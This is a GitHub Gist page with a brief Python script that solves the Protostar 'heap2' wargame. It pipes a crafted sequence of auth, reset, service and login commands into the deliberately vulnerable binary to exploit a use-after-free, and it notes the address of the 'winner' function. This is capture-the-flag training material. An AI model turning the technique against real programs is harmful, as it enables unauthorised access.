Last active
September 28, 2018 12:02
-
-
Save TheRealJunior/3668eb44085bbbc641fdb68d638ac02a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
input = 'auth 1111111111111111111111111111111111111111\nreset\nservice 111111111111111111111111111111111111111111111\nlogin\n' | |
proc = subprocess.Popen(['/opt/protostar/bin/heap2'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) | |
stdout,stderr = proc.communicate(input=input) | |
print(stdout) | |
# 08048494 g F .text 00000025 winner |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment